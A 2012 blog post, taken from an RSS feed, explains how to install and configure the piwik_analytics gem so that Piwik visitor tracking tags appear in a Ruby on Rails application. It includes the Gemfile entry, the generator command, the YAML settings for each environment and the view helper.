]]></content:encoded></item><item><title><![CDATA[Tracking Visits with Piwik Analytics in Rails]]></title><description><![CDATA[<p><a href="http://piwik.org">Piwik</a> is an open source web analytics tool written in PHP. With the first release in 2007 it quickly gained popularity as it is easy to install and organizations and individuals have complete control over the tracked data and not a third party (like Google). Right now (2012) Piwik has</p>]]></description><link>http://geekmonkey.org/2012/10/tracking-visits-with-piwik-analytics-in-rails/</link><guid isPermaLink="false">5a01b4391f6c7736cb307d69</guid><category><![CDATA[Ruby on Rails]]></category><category><![CDATA[gem]]></category><category><![CDATA[Piwik]]></category><dc:creator><![CDATA[Fabian Becker]]></dc:creator><pubDate>Wed, 10 Oct 2012 10:00:00 GMT</pubDate><media:content url="http://geekmonkey.org/content/images/2017/01/piwik-gem.png" medium="image"/><content:encoded><![CDATA[<img src="http://geekmonkey.org/content/images/2017/01/piwik-gem.png" alt="Tracking Visits with Piwik Analytics in Rails"><p><a href="http://piwik.org">Piwik</a> is an open source web analytics tool written in PHP. With the first release in 2007 it quickly gained popularity as it is easy to install and organizations and individuals have complete control over the tracked data and not a third party (like Google). Right now (2012) Piwik has a <a href="http://w3techs.com/technologies/details/ta-piwik/all/all">global market share</a> of about 2 percent and is ranked second place in Germany with <a href="http://w3techs.com/technologies/segmentation/tld-de-/traffic_analysis">14 percent</a>.</p>
<p>After installing Piwik on your server and creating a website, you get a JavaScript tracking tag which you have to include in your website. When working with Rails the tracking tag will most likely be embedded in the <code>application.html.erb</code> view. It is not very convenient to include snippets into your views.</p>
<p>The piwik_analytics gem provides an easy way to include Piwik into your application without messing up your view templates.</p>
<h2 id="installation">Installation</h2>
<p>Add the <code>piwik_analytics</code> Gem to your Gemfile:</p>
<pre><code class="language-bash">gem 'piwik_analytics', '~&gt; 1.0.1'
</code></pre>
<p>Run the generator:</p>
<pre><code class="language-bash">rails g piwik_analytics:install
</code></pre>
<p>This will install a piwik.yml configuration file into the <code>config</code> directory of your application.</p>
<h2 id="configuration">Configuration</h2>
<p>Open up <code>config/piwik.yml</code> and edit the settings. Each setting is described in the config file itself.</p>
<pre><code class="language-yaml"># Configuration:
#
# disabled
#   false if tracking tag should be shown
# use_async
#   Set to true if you want to use asynchronous tracking
# url
#   The url of your piwik instance (e.g. localhost/piwik/
# id_site
#   The id of your website inside Piwik
#
production:
  piwik:
    id_site: 1
    url: piwik-production.example.com
    use_async: false
    disabled: false

development:
  piwik:
    id_site: 1
    url: piwik-development.example.com
    disabled: true
    use_async: false

test:
  piwik:
    id_site: 1
    url: localhost
    disabled: true
    use_async: false
</code></pre>
<p>As you can see, by default Piwik is only enabled in production mode. You can of course enable Piwik in the development or test environment by setting <code>disabled: false</code>. You will then need to fetch the site ID of the website you want to track from Piwik. Login to your Piwik Installation, go to &quot;Settings&quot; and click the &quot;Websites&quot; tab.</p>
<p><img src="http://geekmonkey.org/content/images/2017/01/piwik_site_id.png" alt="Tracking Visits with Piwik Analytics in Rails"></p>
<p>In this case the site ID is &quot;1&quot;. As a last step you need to set the URL of your Piwik installation. If your Piwik is hosted under <code>http://example.com/piwik/</code> you need to set the URL to <code>example.com/piwik</code> (without the trailing slash).</p>
<p>Piwik supports an <a href="http://piwik.org/docs/javascript-tracking/#toc-asynchronous-tracking">asynchronous tracking</a> script since version 1.1. In case you want to use asynchronous tracking in your application, simply set <code>use_async: true</code>.</p>
<h2 id="usage">Usage</h2>
<p>The gem provides a simple helper that outputs the tracking tag. Inside your <code>application.html.erb</code> (or haml, slim) you can simply add the following snippet just before the closing body tag.</p>
<pre><code class="language-ruby">&lt;%= piwik_tracking_tag %&gt;
</code></pre>
<p>Make sure you have <code>disabled: false</code> when you test the gem.</p>
<h2 id="otherresources">Other Resources</h2>
<ul>
<li><a href="http://piwik.org/docs/installation/">Installation Piwik</a></li>
<li><a href="http://demo.piwik.org">Piwik Live Demo</a></li>
<li><a href="http://piwik.org/integrate/">More plugins for Piwik Integration</a></li>
</ul>
]]></content:encoded></item></channel></rss>